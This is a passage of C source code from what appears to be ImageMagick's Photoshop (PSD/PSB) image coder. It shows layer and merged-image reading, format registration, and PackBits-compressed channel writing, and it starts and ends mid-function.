number_layers; size=GetPSDSize(psd_info,image); if (size == 0) { /* Skip layers & masks. */ (void) ReadBlobLong(image); count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); status=MagickFalse; if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) return(MagickTrue); else { count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count != 0) && (LocaleNCompare(type,"Lr16",4) == 0)) size=GetPSDSize(psd_info,image); else return(MagickTrue); } } status=MagickTrue; if (size != 0) { layer_info=(LayerInfo *) NULL; number_layers=(short) ReadBlobShort(image); if (number_layers < 0) { /* The first alpha channel in the merged result contains the transparency data for the merged result. */ number_layers=MagickAbsoluteValue(number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " negative layer count corrected for"); image->matte=MagickTrue; } /* We only need to know if the image has an alpha channel */ if (skip_layers != MagickFalse) return(MagickTrue); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image contains %.20g layers",(double) number_layers); if (number_layers == 0) ThrowBinaryException(CorruptImageError,"InvalidNumberOfLayers", image->filename); layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers, sizeof(*layer_info)); if (layer_info == (LayerInfo *) NULL) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of LayerInfo failed"); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(layer_info,0,(size_t) number_layers* sizeof(*layer_info)); for (i=0; i < number_layers; i++) { ssize_t x, y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading layer #%.20g",(double) i+1); layer_info[i].page.y=(int) ReadBlobLong(image); layer_info[i].page.x=(int) ReadBlobLong(image); y=(int) ReadBlobLong(image); x=(int) ReadBlobLong(image); layer_info[i].page.width=(size_t) (x-layer_info[i].page.x); layer_info[i].page.height=(size_t) (y-layer_info[i].page.y); layer_info[i].channels=ReadBlobShort(image); if (layer_info[i].channels > MaxPSDChannels) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"MaximumChannelsExceeded", image->filename); } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g", (double) layer_info[i].page.x,(double) layer_info[i].page.y, (double) layer_info[i].page.height,(double) layer_info[i].page.width,(double) layer_info[i].channels); for (j=0; j < (ssize_t) layer_info[i].channels; j++) { layer_info[i].channel_info[j].type=(short) ReadBlobShort(image); layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info, image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " channel[%.20g]: type=%.20g, size=%.20g",(double) j, (double) layer_info[i].channel_info[j].type, (double) layer_info[i].channel_info[j].size); } count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer type was %.4s instead of 8BIM", type); layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"ImproperImageHeader", image->filename); } (void) ReadBlob(image,4,(unsigned char *) layer_info[i].blendkey); ReversePSDString(image,layer_info[i].blendkey,4); layer_info[i].opacity=(Quantum) (QuantumRange-ScaleCharToQuantum( (unsigned char) ReadBlobByte(image))); layer_info[i].clipping=(unsigned char) ReadBlobByte(image); layer_info[i].flags=(unsigned char) ReadBlobByte(image); layer_info[i].visible=!(layer_info[i].flags & 0x02); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s", layer_info[i].blendkey,(double) layer_info[i].opacity, layer_info[i].clipping ? "true" : "false",layer_info[i].flags, layer_info[i].visible ? "true" : "false"); (void) ReadBlobByte(image); /* filler */ size=ReadBlobLong(image); if (size != 0) { MagickSizeType combined_length, length; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer contains additional info"); length=ReadBlobLong(image); combined_length=length+4; if (length != 0) { /* Layer mask info. */ layer_info[i].mask.page.y=(int) ReadBlobLong(image); layer_info[i].mask.page.x=(int) ReadBlobLong(image); layer_info[i].mask.page.height=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.y); layer_info[i].mask.page.width=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.x); layer_info[i].mask.background=(unsigned char) ReadBlobByte( image); layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image); if (!(layer_info[i].mask.flags & 0x01)) { layer_info[i].mask.page.y=layer_info[i].mask.page.y- layer_info[i].page.y; layer_info[i].mask.page.x=layer_info[i].mask.page.x- layer_info[i].page.x; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g", (double) layer_info[i].mask.page.x,(double) layer_info[i].mask.page.y,(double) layer_info[i].mask.page.width, (double) layer_info[i].mask.page.height,(double) ((MagickOffsetType) length)-18); /* Skip over the rest of the layer mask information. */ if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"UnexpectedEndOfFile", image->filename); } } length=ReadBlobLong(image); combined_length+=length+4; if (length != 0) { /* Layer blending ranges info. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer blending ranges: length=%.20g",(double) ((MagickOffsetType) length)); /* We read it, but don't use it... */ for (j=0; j < (ssize_t) (length); j+=8) { size_t blend_source=ReadBlobLong(image); size_t blend_dest=ReadBlobLong(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " source(%x), dest(%x)",(unsigned int) blend_source,(unsigned int) blend_dest); } } /* Layer name. */ length=(size_t) ReadBlobByte(image); combined_length+=length+1; if (length > 0) (void) ReadBlob(image,(size_t) length++,layer_info[i].name); layer_info[i].name[length]='\0'; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer name: %s",layer_info[i].name); /* Skip the rest of the variable data until we support it. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " unsupported data: length=%.20g",(double) ((MagickOffsetType) (size-combined_length))); if (DiscardBlobBytes(image,(MagickSizeType) (size-combined_length)) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } } for (i=0; i < number_layers; i++) { if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is empty"); continue; } /* Allocate layered image. */ layer_info[i].image=CloneImage(image,layer_info[i].page.width, layer_info[i].page.height,MagickFalse,exception); if (layer_info[i].image == (Image *) NULL) { layer_info=DestroyLayerInfo(layer_info,number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of image for layer %.20g failed",(double) i); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } } if (image_info->ping == MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=0; j < layer_info[i].channels; j++) { if (DiscardBlobBytes(image,(MagickSizeType) layer_info[i].channel_info[j].size) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } continue; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for layer %.20g",(double) i); status=ReadPSDLayer(image,psd_info,&layer_info[i],exception); if (status == MagickFalse) break; status=SetImageProgress(image,LoadImagesTag,i,(MagickSizeType) number_layers); if (status == MagickFalse) break; } } if (status != MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=i; j < number_layers - 1; j++) layer_info[j] = layer_info[j+1]; number_layers--; i--; } } if (number_layers > 0) { for (i=0; i < number_layers; i++) { if (i > 0) layer_info[i].image->previous=layer_info[i-1].image; if (i < (number_layers-1)) layer_info[i].image->next=layer_info[i+1].image; layer_info[i].image->page=layer_info[i].page; } image->next=layer_info[0].image; layer_info[0].image->previous=image; } layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info); } else layer_info=DestroyLayerInfo(layer_info,number_layers); } return(status); } static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info,Image* image, const PSDInfo* psd_info,ExceptionInfo *exception) { MagickOffsetType *offsets; MagickBooleanType status; PSDCompressionType compression; register ssize_t i; compression=(PSDCompressionType) ReadBlobMSBShort(image); image->compression=ConvertPSDCompression(compression); if (compression != Raw && compression != RLE) { (void) ThrowMagickException(exception,GetMagickModule(), TypeWarning,"CompressionNotSupported","'%.20g'",(double) compression); return(MagickFalse); } offsets=(MagickOffsetType *) NULL; if (compression == RLE) { offsets=ReadPSDRLEOffsets(image,psd_info,image->rows*psd_info->channels); if (offsets == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } status=MagickTrue; for (i=0; i < (ssize_t) psd_info->channels; i++) { if (compression == RLE) status=ReadPSDChannelRLE(image,psd_info,i,offsets+(i*image->rows), exception); else status=ReadPSDChannelRaw(image,psd_info->channels,i,exception); if (status != MagickFalse) status=SetImageProgress(image,LoadImagesTag,i,psd_info->channels); if (status == MagickFalse) break; } if ((status != MagickFalse) && (image->colorspace == CMYKColorspace)) status=NegateImage(image,MagickFalse); if (status != MagickFalse) status=CorrectPSDAlphaBlend(image_info,image,exception); if (offsets != (MagickOffsetType *) NULL) offsets=(MagickOffsetType *) RelinquishMagickMemory(offsets); return(status); } static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image; MagickBooleanType has_merged_image, skip_layers; MagickOffsetType offset; MagickSizeType length; MagickBooleanType status; PSDInfo psd_info; register ssize_t i; ssize_t count; unsigned char *data; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read image header. */ image->endian=MSBEndian; count=ReadBlob(image,4,(unsigned char *) psd_info.signature); psd_info.version=ReadBlobMSBShort(image); if ((count == 0) || (LocaleNCompare(psd_info.signature,"8BPS",4) != 0) || ((psd_info.version != 1) && (psd_info.version != 2))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); (void) ReadBlob(image,6,psd_info.reserved); psd_info.channels=ReadBlobMSBShort(image); if (psd_info.channels > MaxPSDChannels) ThrowReaderException(CorruptImageError,"MaximumChannelsExceeded"); psd_info.rows=ReadBlobMSBLong(image); psd_info.columns=ReadBlobMSBLong(image); if ((psd_info.version == 1) && ((psd_info.rows > 30000) || (psd_info.columns > 30000))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.depth=ReadBlobMSBShort(image); if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.mode=ReadBlobMSBShort(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s", (double) psd_info.columns,(double) psd_info.rows,(double) psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType) psd_info.mode)); /* Initialize image. */ image->depth=psd_info.depth; image->columns=psd_info.columns; image->rows=psd_info.rows; status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } if (SetImageBackgroundColor(image) == MagickFalse) { InheritException(exception,&image->exception); image=DestroyImageList(image); return((Image *) NULL); } if (psd_info.mode == LabMode) SetImageColorspace(image,LabColorspace); if (psd_info.mode == CMYKMode) { SetImageColorspace(image,CMYKColorspace); image->matte=psd_info.channels > 4 ? MagickTrue : MagickFalse; } else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) || (psd_info.mode == DuotoneMode)) { status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536); if (status == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image colormap allocated"); SetImageColorspace(image,GRAYColorspace); image->matte=psd_info.channels > 1 ? MagickTrue : MagickFalse; } else image->matte=psd_info.channels > 3 ? MagickTrue : MagickFalse; /* Read PSD raster colormap only present for indexed and duotone images. */ length=ReadBlobMSBLong(image); if (length != 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading colormap"); if (psd_info.mode == DuotoneMode) { /* Duotone image data; the format of this data is undocumented. */ data=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*data)); if (data == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,(size_t) length,data); data=(unsigned char *) RelinquishMagickMemory(data); } else { size_t number_colors; /* Read PSD raster colormap. */ number_colors=length/3; if (number_colors > 65536) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (AcquireImageColormap(image,number_colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->matte=MagickFalse; } } if ((image->depth == 1) && (image->storage_class != PseudoClass)) ThrowReaderException(CorruptImageError, "ImproperImageHeader"); has_merged_image=MagickTrue; length=ReadBlobMSBLong(image); if (length != 0) { unsigned char *blocks; /* Image resources block. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading image resource blocks - %.20g bytes",(double) ((MagickOffsetType) length)); blocks=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*blocks)); if (blocks == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,(size_t) length,blocks); if ((count != (ssize_t) length) || (length < 4) || (LocaleNCompare((char *) blocks,"8BIM",4) != 0)) { blocks=(unsigned char *) RelinquishMagickMemory(blocks); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } ParseImageResourceBlocks(image,blocks,(size_t) length,&has_merged_image); blocks=(unsigned char *) RelinquishMagickMemory(blocks); } /* Layer and mask block. */ length=GetPSDSize(&psd_info,image); if (length == 8) { length=ReadBlobMSBLong(image); length=ReadBlobMSBLong(image); } offset=TellBlob(image); skip_layers=MagickFalse; if ((image_info->number_scenes == 1) && (image_info->scene == 0) && (has_merged_image != MagickFalse)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " read composite only"); skip_layers=MagickTrue; } if (length == 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image has no layers"); } else { if (ReadPSDLayers(image,image_info,&psd_info,skip_layers,exception) != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } /* Skip the rest of the layer and mask information. */ SeekBlob(image,offset+length,SEEK_SET); } /* If we are only "pinging" the image, then we're done - so return. */ if (image_info->ping != MagickFalse) { (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* Read the precombined layer, present for PSD < 4 compatibility. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading the precombined layer"); if (has_merged_image != MagickFalse || GetImageListLength(image) == 1) has_merged_image=(MagickBooleanType) ReadPSDMergedImage(image_info,image, &psd_info,exception); if ((has_merged_image == MagickFalse) && (GetImageListLength(image) == 1) && (length != 0)) { SeekBlob(image,offset,SEEK_SET); status=ReadPSDLayers(image,image_info,&psd_info,MagickFalse,exception); if (status != MagickTrue) { (void) CloseBlob(image); image=DestroyImageList(image); return((Image *) NULL); } } if ((has_merged_image == MagickFalse) && (GetImageListLength(image) > 1)) { Image *merged; SetImageAlphaChannel(image,TransparentAlphaChannel); image->background_color.opacity=TransparentOpacity; merged=MergeImageLayers(image,FlattenLayer,exception); ReplaceImageInList(&image,merged); } (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterPSDImage() adds properties for the PSD image format to % the list of supported formats. The properties include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterPSDImage method is: % % size_t RegisterPSDImage(void) % */ ModuleExport size_t RegisterPSDImage(void) { MagickInfo *entry; entry=SetMagickInfo("PSB"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Large Document Format"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); entry=SetMagickInfo("PSD"); entry->decoder=(DecodeImageHandler *) ReadPSDImage; entry->encoder=(EncodeImageHandler *) WritePSDImage; entry->magick=(IsImageFormatHandler *) IsPSD; entry->seekable_stream=MagickTrue; entry->description=ConstantString("Adobe Photoshop bitmap"); entry->module=ConstantString("PSD"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterPSDImage() removes format registrations made by the % PSD module from the list of supported formats. % % The format of the UnregisterPSDImage method is: % % UnregisterPSDImage(void) % */ ModuleExport void UnregisterPSDImage(void) { (void) UnregisterMagickInfo("PSB"); (void) UnregisterMagickInfo("PSD"); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % W r i t e P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % WritePSDImage() writes an image in the Adobe Photoshop encoded image format. % % The format of the WritePSDImage method is: % % MagickBooleanType WritePSDImage(const ImageInfo *image_info,Image *image) % % A description of each parameter follows. % % o image_info: the image info. % % o image: The image. % */ static inline ssize_t SetPSDOffset(const PSDInfo *psd_info,Image *image, const size_t offset) { if (psd_info->version == 1) return(WriteBlobMSBShort(image,(unsigned short) offset)); return(WriteBlobMSBLong(image,(unsigned short) offset)); } static inline ssize_t SetPSDSize(const PSDInfo *psd_info,Image *image, const MagickSizeType size) { if (psd_info->version == 1) return(WriteBlobMSBLong(image,(unsigned int) size)); return(WriteBlobMSBLongLong(image,size)); } static size_t PSDPackbitsEncodeImage(Image *image,const size_t length, const unsigned char *pixels,unsigned char *compact_pixels) { int count; register ssize_t i, j; register unsigned char *q; unsigned char *packbits; /* Compress pixels with Packbits encoding. */ assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); assert(pixels != (unsigned char *) NULL); packbits=(unsigned char *) AcquireQuantumMemory(128UL,sizeof(*packbits)); if (packbits == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); q=compact_pixels; for (i=(ssize_t) length; i != 0; ) { switch (i) { case 1: { i--; *q++=(unsigned char) 0; *q++=(*pixels); break; } case 2: { i-=2; *q++=(unsigned char) 1; *q++=(*pixels); *q++=pixels[1]; break; } case 3: { i-=3; if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { *q++=(unsigned char) ((256-3)+1); *q++=(*pixels); break; } *q++=(unsigned char) 2; *q++=(*pixels); *q++=pixels[1]; *q++=pixels[2]; break; } default: { if ((*pixels == *(pixels+1)) && (*(pixels+1) == *(pixels+2))) { /* Packed run. */ count=3; while (((ssize_t) count < i) && (*pixels == *(pixels+count))) { count++; if (count >= 127) break; } i-=count; *q++=(unsigned char) ((256-count)+1); *q++=(*pixels); pixels+=count; break; } /* Literal run. */ count=0; while ((*(pixels+count) != *(pixels+count+1)) || (*(pixels+count+1) != *(pixels+count+2))) { packbits[count+1]=pixels[count]; count++; if (((ssize_t) count >= (i-3)) || (count >= 127)) break; } i-=count; *packbits=(unsigned char) (count-1); for (j=0; j <= (ssize_t) count; j++) *q++=packbits[j]; pixels+=count; break; } } } *q++=(unsigned char) 128; /* EOD marker */ packbits=(unsigned char *) RelinquishMagickMemory(packbits); return((size_t) (q-compact_pixels)); } static void WritePackbitsLength(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, unsigned char *compact_pixels,const QuantumType quantum_type) { QuantumInfo *quantum_info; register const PixelPacket *p; size_t length, packet_size; ssize_t y; unsigned char *pixels; if (next_image->depth > 8) next_image->depth=16; packet_size=next_image->depth > 8UL ? 2UL : 1UL; (void) packet_size; quantum_info=AcquireQuantumInfo(image_info,image); pixels=GetQuantumPixels(quantum_info); for (y=0; y < (ssize_t) next_image->rows; y++) { p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception); if (p == (const PixelPacket *) NULL) break; length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info, quantum_type,pixels,&image->exception); length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels); (void) SetPSDOffset(psd_info,image,length); } quantum_info=DestroyQuantumInfo(quantum_info); } static void WriteOneChannel(const PSDInfo *psd_info,const ImageInfo *image_info, Image *image,Image *next_image,unsigned char *compact_pixels, const QuantumType quantum_type,const MagickBooleanType compression_flag) { int y; MagickBooleanType monochrome; QuantumInfo *quantum_info; register const PixelPacket *p; register ssize_t i; size_t length, packet_size; unsigned char *pixels; (void) psd_info; if ((compression_flag != MagickFalse) && (next_image->compression != RLECompression)) (void) WriteBlobMSBShort(image,0); if (next_image->depth > 8) next_image->depth=16; monochrome=IsMonochromeImage(image,&image->exception) && (image->depth == 1) ? MagickTrue : MagickFalse; packet_size=next_image->depth > 8UL ? 2UL : 1UL; (void) packet_size; quantum_info=AcquireQuantumInfo(image_info,image); pixels=GetQuantumPixels(quantum_info); for (y=0; y < (ssize_t) next_image->rows; y++) { p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception); if (p == (const PixelPacket *) NULL) break; length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info, quantum_type,pixels,&image->exception); if (monochrome != MagickFalse) for (i=0; i < (ssize_t) length; i++) pixels[i]=(~pixels[i]); if (next_image->compression != RLECompression) (void) WriteBlob(image,length,pixels); else { length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels); (void) WriteBlob(image,length,compact_pixels); } } quantum_info=DestroyQuantumInfo(quantum_info); } static MagickBooleanType WriteImageChannels(const PSDInfo *psd_info, const ImageInfo *image_info,Image *image,Image *next_image, const MagickBooleanType separate) { size_t channels, packet_size; unsigned char *compact_pixels; /* Write uncompressed pixels as separate planes. */ channels=1; packet_size=next_image->depth > 8UL ? 2UL : 1UL; compact_pixels=(unsigned char *) NULL; if (next_image->compression == RLECompression) { compact_pixels=(unsigned char *) AcquireQuantumMemory((9*channels* next_image->columns)+1,packet_size*sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } if (IsGrayImage(next_image,&next_image->exception) != MagickFalse) { if (next_image->compression == RLECompression) { /* Packbits compression. */ (void) WriteBlobMSBShort(image,1); WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,GrayQuantum); if (next_image->matte != MagickFalse) WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,AlphaQuantum); } WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, GrayQuantum,MagickTrue); if (next_image->matte != MagickFalse) WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, AlphaQuantum,separate); (void) SetImageProgress(image,SaveImagesTag,0,1); } else if (next_image->storage_class == PseudoClass) { if (next_image->compression == RLECompression) { /* Packbits compression. */ (void) WriteBlobMSBShort(image,1); WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,IndexQuantum); if (next_image->matte != MagickFalse) WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,AlphaQuantum); } WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, IndexQuantum,MagickTrue); if (next_image->matte != MagickFalse) WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, AlphaQuantum,separate); (void) SetImageProgress(image,SaveImagesTag,0,1); } else { if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); if (next_image->compression == RLECompression) { /* Packbits compression. */ (void) WriteBlobMSBShort(image,1); WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,RedQuantum); WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,GreenQuantum); WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,BlueQuantum); if (next_image->colorspace == CMYKColorspace) WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,BlackQuantum); if (next_image->matte != MagickFalse) WritePackbitsLength(psd_info,image_info,image,next_image, compact_pixels,AlphaQuantum); } (void) SetImageProgress(image,SaveImagesTag,0,6); WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, RedQuantum,MagickTrue); (void) SetImageProgress(image,SaveImagesTag,1,6); WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, GreenQuantum,separate); (void) SetImageProgress(image,SaveImagesTag,2,6); WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, BlueQuantum,separate); (void) SetImageProgress(image,SaveImagesTag,3,6); if (next_image->colorspace == CMYKColorspace) WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, BlackQuantum,separate); (void) SetImageProgress(image,SaveImagesTag,4,6); if (next_image->matte != MagickFalse) WriteOneChannel(psd_info,image_info,image,next_image,compact_pixels, AlphaQuantum,separate); (void) SetImageProgress(image,SaveImagesTag,5,6); if (next_image->colorspace == CMYKColorspace) (void) NegateImage(next_image,MagickFalse); } if (next_image->compression == RLECompression) compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); return(MagickTrue); } static void WritePascalString(Image* inImage,const char *inString,int inPad) { size_t length; register ssize_t i; /* Max length is 255. */ length=(strlen(inString) > 255UL ) ? 255UL : strlen(inString); if (length == 0) (void) WriteBlobByte(inImage,0); else { (void) WriteBlobByte(inImage,(unsigned char) length); (void) WriteBlob(inImage, length, (const unsigned char *) inString); } length++; if ((length % inPad) == 0) return; for (i=0; i < (ssize_t) (inPad-(length % inPad)); i++) (void) WriteBlobByte(inImage,0); } static void WriteResolutionResourceBlock(Image *image) { double x_resolution, y_resolution; unsigned short units; if (image->units == PixelsPerCentimeterResolution) { x_resolution=2.54*65536.0*image->x_resolution+0.5; y_resolution=2.54*65536.0*image->y_resolution+0.5; units=2; } else { x_resolution=65536.0*image->x_resolution+0.5; y_resolution=65536.0*image->y_resolution+0.5; units=1; } (void) WriteBlob(image,4,(const unsigned char *) "8BIM"); (void) WriteBlobMSBShort(image,0x03ED); (void) WriteBlobMSBShort(image,0); (void) WriteBlobMSBLong(image,16); /* resource size */ (void) WriteBlobMSBLong(image,(unsigned int) (x_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* horizontal resolution unit */ (void) WriteBlobMSBShort(image,units); /* width unit */ (void) WriteBlobMSBLong(image,(unsigned int) (y_resolution+0.5)); (void) WriteBlobMSBShort(image,units); /* vertical resolution unit */ (void) WriteBlobMSBShort(image,units); /* height unit */ } static void RemoveICCProfileFromResourceBlock(StringInfo *bim_profile) { register const unsigned char *p; size_t length; unsigned char *datum; unsigned int count, long_sans; unsigned short id, short_sans; length=GetStringInfoLength(bim_profile); if (length < 16) return; datum=GetStringInfoDatum(bim_profile); for (p=datum; (p >= datum) && (p < (datum+length-16)); ) { register unsigned char *q; q=(unsigned char *) p; if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if (id == 0x0000040f) { (void) CopyMagickMemory(q,q+PSDQuantum(count)+12,length- (PSDQuantum(count)+12)-(q-datum)); 